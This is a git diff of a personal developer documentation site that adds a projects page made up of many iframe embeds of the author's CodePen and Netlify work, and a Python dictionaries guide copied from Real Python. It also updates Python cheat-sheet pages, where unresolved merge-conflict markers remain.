+300. - [bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets/python](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets/python)
+301. - [job-search/applications-and-job-postings/jobs-i-really-want/stackbit/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/README)
+302. - [job-search/applications-and-job-postings/jobs-i-really-want/stackbit/developer-advocate-remote](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/developer-advocate-remote)
+303. - [job-search/applications-and-job-postings/jobs-i-really-want/stackbit/page-4](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/page-4)
+304. - [job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide/reousrces](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide/reousrces)
+305. - [job-search/interview-prep/interview-questions/cheat-sheets/python-vs-js-cheat-sheet](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets/python-vs-js-cheat-sheet)
diff --git a/src/pages/docs/projects/mini-projects.md b/src/pages/docs/projects/mini-projects.md
index 3fc0dc825f..e055887845 100644
--- a/src/pages/docs/projects/mini-projects.md
+++ b/src/pages/docs/projects/mini-projects.md
@@ -33,6 +33,7 @@ template: docs
 weight: 0
 ---
 
+<h1> Network Visualization </h1>
 <iframe
   height="300"
   style="width: 100%"
diff --git a/src/pages/docs/projects/my-websites/index.md b/src/pages/docs/projects/my-websites/index.md
new file mode 100644
index 0000000000..7aa9eddaf2
--- /dev/null
+++ b/src/pages/docs/projects/my-websites/index.md
@@ -0,0 +1,6 @@
+---
+title: My Websites
+template: docs
+excerpt: Data Structures Websites
+---
+<h1> Data Structures Website </h1>
\ No newline at end of file
diff --git a/src/pages/docs/projects/recent/index.md b/src/pages/docs/projects/recent/index.md
new file mode 100644
index 0000000000..71db025309
--- /dev/null
+++ b/src/pages/docs/projects/recent/index.md
@@ -0,0 +1,518 @@
+---
+title: recent
+template: docs
+excerpt: recent projects and websites
+---
+
+# Recent Projects:
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://iframeshowcase.netlify.app/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://bgoonz.github.io/pure-html-pages-blog/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://lambda-static-assets.netlify.app/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://notion-nro8y8drl-bgoonz.vercel.app/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://web-dev-utility-tools-bgoonz.netlify.app/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://bgoonz.github.io/Project-Showcase/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://bryan-guner.gitbook.io/job-search/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://bg-portfolio.netlify.app/" style="border:1px #ffffff solid;" name="myiFrame" scrolling="yes" frameborder="1" marginheight="0px" marginwidth="0px" height="800px" width="1200px" allowfullscreen>
+</iframe>
+<br>
+
+## Embeds:
+
+<!----------------------------------google form---------------------------------------->
+
+ <iframe src="https://docs.google.com/forms/d/e/1FAIpQLSfCfTOg1FRiAQwvQg-OkqVbvcZu-_up_iWJoUwRefZWJjWaeA/viewform?embedded=true" width="640" height="845" frameborder="0" marginheight="0" marginwidth="0">Loading…</iframe>
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/YzZozOM?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/gOmVErj?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/vYmYzqw?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src=" https://codesandbox.io/embed/bigo-3wqy4?fontsize=14&hidenavigation=1&theme=dark" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://documentation-site-react2.vercel.app/" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://bgoonz-blog.netlify.app/" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://bgoonz-blog.netlify.app/blog/" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://bgoonz-blog.netlify.app/blog/data-structures/" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/MWpMWzE?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/rNyENQJ?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/zYZVYMj?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/XWMELYy?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/QWpmXxq?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/eYvMKwe?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/QWpmmom?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/QWpmmPm?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/JjWLLqj?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/MWpVVLP?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/gOmeeEm?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/NWgdZyq?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/RwKYRoo?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/LYyBwEp?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/QWgYoBp?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/ExZvGoZ?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/MWbxYme?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/dyOaoXb?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/ExZxMPN?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/ZEKOmYW?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/bGWgLaR?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/QWvMQrb?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/JjNXROo?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/abWNmqo?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/bGWpwvv?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/mdmPrwR?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/BaRKLZw?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/RwVaGZo?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/BaRdabZ?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/OJWzbRa?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/KKaJwgo?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/ExZrayM?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/yLgZLrp?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/dyNayLB?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/PoWVovN?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/VwPgwgo?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/YzNBzbK?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/NWdoWVp?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/mdRvdzd?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/LYxqYMa?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/wvgNvYW?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/LYxqYBq?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/jOydOvm?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/ZELwEMv?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/oNBmNPV?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/WNRPbeO?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/poRGvzp?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/WNRPNpw?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/NWdoWvN?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/LYxqEZP?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/wvgNByP?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/eYgxmyx?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/JjExopj?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/GRrzRGR?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/vYxGLao?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/abwzxKP?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/XWgJQYP?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/powvBZp?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/wveBJBM?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/QWgwpGv?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/powvegw?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/eYRmvJV?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/GREgWEp?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/NWgdVOJ?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/QWgdVaa?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/MWmGPvO?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/rNmJMaz?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/MWmQjYJ?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+ <iframe src="https://codepen.io/bgoonz/embed/eYWVdmR?default-tab=result" style="width:1000px; height:1200px;" loading="lazy" allowtransparency="true" allowfullscreen></iframe>
+
+---
+
+---
+
+</div>
+
+# Text Tools
+
+### Ternary Converter&#xA;&#xA;
+
+\\ <iframe src=" <https://ternary42.netlify.app />" height="800px" width="600px!important" scrolling="yes"
+frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true" title="YouTube video player"
+frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
+allowfullscreen>\</iframe>
diff --git a/src/pages/docs/python/cheat-sheet.md b/src/pages/docs/python/cheat-sheet.md
index 386d3a6dbc..b42d369bb0 100644
--- a/src/pages/docs/python/cheat-sheet.md
+++ b/src/pages/docs/python/cheat-sheet.md
@@ -1942,7 +1942,11 @@ spam.strip('ampS')
 
 First, install `pypeerclip` with pip:
 
+<<<<<<< HEAD
 ```shell
+=======
+```consoleell
+>>>>>>> master
 pip install pyperclip
 ```
 
@@ -3074,7 +3078,11 @@ with open("filename.yaml") as f:
 
 Install it with:
 
+<<<<<<< HEAD
 ```bash
+=======
+```console
+>>>>>>> master
 pip install anyconfig
 ```
 
@@ -3480,7 +3488,11 @@ The `setup.py` file is at the heart of a Python project. It describes all of the
 
 This allows you to easily install Python packages. Often it's enough to write:
 
+<<<<<<< HEAD
 ```bash
+=======
+```console
+>>>>>>> master
 python setup.py install
 ```
 
diff --git a/src/pages/docs/python/comprehensive-guide.md b/src/pages/docs/python/comprehensive-guide.md
index a94256c6c4..c14e2a1f28 100644
--- a/src/pages/docs/python/comprehensive-guide.md
+++ b/src/pages/docs/python/comprehensive-guide.md
@@ -1,10 +1,17 @@
 ---
 title: lorem-ipsum
 weight: 0
+<<<<<<< HEAD
 excerpt: lorem-ipsum
 seo:
     title: ''
     description: ''
+=======
+excerpt: Pythons design into 20 aphorisms, only 19 of which have been written down.
+seo:
+    title: 'Comprehensive Python Guide'
+    description: 'Pythons design into 20 aphorisms, only 19 of which have been written down.'
+>>>>>>> master
     robots: []
     extra: []
 template: docs
@@ -205,7 +212,7 @@ template: docs
 
 From the [PEP 20 -- The Zen of Python](https://www.python.org/dev/peps/pep-0020/):
 
-> Long time Pythoneer Tim Peters succinctly channels the BDFL's guiding principles for Python's design into 20 aphorisms, only 19 of which have been written down.
+> Long time Pythoneer Tim Peters succinctly channels the BDFL's guiding principles for Pythons design into 20 aphorisms, only 19 of which have been written down.
 
 ```python
 >>> import this
@@ -4001,7 +4008,7 @@ with open("filename.yaml") as f:
 
 Install it with:
 
-```bash
+```console
 pip install anyconfig
 ```
 
@@ -4487,7 +4494,7 @@ The `setup.py` file is at the heart of a Python project. It describes all of the
 
 This allows you to easily install Python packages. Often it's enough to write:
 
-```bash
+```console
 python setup.py install
 ```
 
diff --git a/src/pages/docs/python/data-structures-in-python/index.md b/src/pages/docs/python/data-structures-in-python/index.md
new file mode 100644
index 0000000000..667ed952a2
--- /dev/null
+++ b/src/pages/docs/python/data-structures-in-python/index.md
@@ -0,0 +1,491 @@
+---
+title: Data Structures In Python
+template: docs
+excerpt: Dictionaries, Maps, and Hash Tables
+---
+
+
+# Common Python Data Structures (Guide) – Real Python
+
+---
+
+## Dictionaries, Maps, and Hash Tables
+
+In Python, **dictionaries(or dicts for short) are a central data structure. Dicts store an arbitrary number of objects, each identified by a unique dictionary** **key**.
+
+Dictionaries are also often called **maps**, **hashmaps**, **lookup tables**, or **associative arrays**. They allow for the efficient lookup, insertion, and deletion of any object associated with a given key.
+
+Phone books make a decent real-world analog for dictionary objects. They allow you to quickly retrieve the information (phone number) associated with a given key (a person’s name). Instead of having to read a phone book front to back to find someone’s number, you can jump more or less directly to a name and look up the associated information.
+
+This analogy breaks down somewhat when it comes to _how_ the information is organized to allow for fast lookups. But the fundamental performance characteristics hold. Dictionaries allow you to quickly find the information associated with a given key.
+
+Dictionaries are one of the most important and frequently used data structures in computer science. So, how does Python handle dictionaries? Let’s take a tour of the dictionary implementations available in core Python and the Python standard library.
+
+### `dict`: Your Go-To Dictionary
+
+Because dictionaries are so important, Python features a robust dictionary implementation that’s built directly into the core language: the [`dict`](https://docs.python.org/3/library/stdtypes.html#mapping-types-dict) data type.
+
+Python also provides some useful **syntactic sugar** for working with dictionaries in your programs. For example, the curly-brace ({ }) dictionary expression syntax and [dictionary comprehensions](https://realpython.com/iterate-through-dictionary-python/#using-comprehensions) allow you to conveniently define new dictionary objects:
+
+```py
+ phonebook = {
+...     "bob": 7387,
+...     "alice": 3719,
+...     "jack": 7052,
+... }
+
+ squares = {x: x * x for x in range(6)}
+
+ phonebook["alice"]
+3719
+
+ squares
+{0: 0, 1: 1, 2: 4, 3: 9, 4: 16, 5: 25}
+
+```
+
+There are some restrictions on which objects can be used as valid keys.
+
+Python’s dictionaries are indexed by keys that can be of any [hashable](https://docs.python.org/3/glossary.html#term-hashable) type. A **hashable** object has a hash value that never changes during its lifetime (see `__hash__`), and it can be compared to other objects (see `__eq__`). Hashable objects that compare as equal must have the same hash value.
+
+[**Immutable** types](https://realpython.com/courses/immutability-python/) like [strings](https://realpython.com/python-strings/) and [numbers](https://realpython.com/python-data-types/) are hashable and work well as dictionary keys. You can also use [`tuple` objects](https://realpython.com/python-lists-tuples/#python-tuples) as dictionary keys as long as they contain only hashable types themselves.
+
+For most use cases, Python’s built-in dictionary implementation will do everything you need. Dictionaries are highly optimized and underlie many parts of the language. For example, [class attributes](https://realpython.com/python-scope-legb-rule/#class-and-instance-attributes-scope) and variables in a [stack frame](https://en.wikipedia.org/wiki/Call_stack#Structure) are both stored internally in dictionaries.
+
+Python dictionaries are based on a well-tested and finely tuned [hash table](https://realpython.com/python-hash-table/) implementation that provides the performance characteristics you’d expect: _O_(1) time complexity for lookup, insert, update, and delete operations in the average case.
+
+There’s little reason not to use the standard `dict` implementation included with Python. However, specialized third-party dictionary implementations exist, such as [skip lists](https://en.wikipedia.org/wiki/Skip_list) or [B-tree–based](https://en.wikipedia.org/wiki/B-tree) dictionaries.
+
+Besides plain `dict` objects, Python’s standard library also includes a number of specialized dictionary implementations. These specialized dictionaries are all based on the built-in dictionary class (and share its performance characteristics) but also include some additional convenience features.
+
+Let’s take a look at them.
+
+### `collections.OrderedDict`: Remember the Insertion Order of Keys[](#collectionsordereddict-remember-the-insertion-order-of-keys 'Permanent link')
+
+Python includes a specialized `dict` subclass that remembers the insertion order of keys added to it: [`collections.OrderedDict`](https://realpython.com/python-ordereddict/).
+
+**Note:** `OrderedDict` is not a built-in part of the core language and must be imported from the `collections` module in the standard library.
+
+While standard `dict` instances preserve the insertion order of keys in CPython 3.6 and above, this was simply a [side effect](https://mail.python.org/pipermail/python-dev/2016-September/146327.html) of the CPython implementation and was not defined in the language spec until Python 3.7. So, if key order is important for your algorithm to work, then it’s best to communicate this clearly by explicitly using the `OrderedDict` class:
+
+```py
+ import collections
+ d = collections.OrderedDict(one=1, two=2, three=3)
+
+ d
+OrderedDict([('one', 1), ('two', 2), ('three', 3)])
+
+ d["four"] = 4
+ d
+OrderedDict([('one', 1), ('two', 2),
+             ('three', 3), ('four', 4)])
+
+ d.keys()
+odict_keys(['one', 'two', 'three', 'four'])
+
+```
+
+Until [Python 3.8](https://realpython.com/python38-new-features/), you couldn’t iterate over dictionary items in reverse order using `reversed()`. Only `OrderedDict` instances offered that functionality. Even in Python 3.8, `dict` and `OrderedDict` objects aren’t exactly the same. `OrderedDict` instances have a [`.move_to_end()` method](https://realpython.com/python-data-types/) that is unavailable on plain `dict` instance, as well as a more customizable [`.popitem()` method](https://docs.python.org/3/library/collections.html#collections.OrderedDict.popitem) than the one plain `dict` instances.
+
+### `collections.defaultdict`: Return Default Values for Missing Keys[](#collectionsdefaultdict-return-default-values-for-missing-keys 'Permanent link')
+
+The [`defaultdict`](https://docs.python.org/3/library/collections.html#collections.defaultdict) class is another dictionary subclass that accepts a callable in its constructor whose return value will be used if a requested key cannot be found.
+
+This can save you some typing and make your intentions clearer as compared to using `get()` or catching a [`KeyError` exception](https://realpython.com/python-keyerror/) in regular dictionaries:
+
+```py
+ from collections import defaultdict
+ dd = defaultdict(list)
+
+ # Accessing a missing key creates it and
+ # initializes it using the default factory,
+ # i.e. list() in this example:
+ dd["dogs"].append("Rufus")
+ dd["dogs"].append("Kathrin")
+ dd["dogs"].append("Mr Sniffles")
+
+ dd["dogs"]
+['Rufus', 'Kathrin', 'Mr Sniffles']
+
+```
+
+[![](https://img.realpython.net/c34848d05efe728b284c7a87c7fcd5c9)](https://srv.realpython.net/click/33172000876/?c=43772654581&p=58946116052&r=75987)
+
+[Remove ads](https://realpython.com/account/join/)
+
+### `collections.ChainMap`: Search Multiple Dictionaries as a Single Mapping[](#collectionschainmap-search-multiple-dictionaries-as-a-single-mapping 'Permanent link')
+
+The [`collections.ChainMap`](https://docs.python.org/3/library/collections.html#collections.ChainMap) data structure groups multiple dictionaries into a single mapping. Lookups search the underlying mappings one by one until a key is found. Insertions, updates, and deletions only affect the first mapping added to the chain:
+
+```py
+ from collections import ChainMap
+ dict1 = {"one": 1, "two": 2}
+ dict2 = {"three": 3, "four": 4}
+ chain = ChainMap(dict1, dict2)
+
+ chain
+ChainMap({'one': 1, 'two': 2}, {'three': 3, 'four': 4})
+
+ # ChainMap searches each collection in the chain
+ # from left to right until it finds the key (or fails):
+ chain["three"]
+3
+ chain["one"]
+1
+ chain["missing"]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+KeyError: 'missing'
+
+```
+
+### `types.MappingProxyType`: A Wrapper for Making Read-Only Dictionaries[](#typesmappingproxytype-a-wrapper-for-making-read-only-dictionaries 'Permanent link')
+
+[`MappingProxyType`](https://docs.python.org/3/library/types.html#types.MappingProxyType) is a wrapper around a standard dictionary that provides a read-only view into the wrapped dictionary’s data. This class was added in Python 3.3 and can be used to create immutable proxy versions of dictionaries.
+
+`MappingProxyType` can be helpful if, for example, you’d like to return a dictionary carrying internal state from a class or module while discouraging write access to this object. Using `MappingProxyType` allows you to put these restrictions in place without first having to create a full copy of the dictionary:
+
+```py
+ from types import MappingProxyType
+ writable = {"one": 1, "two": 2}
+ read_only = MappingProxyType(writable)
+
+ # The proxy is read-only:
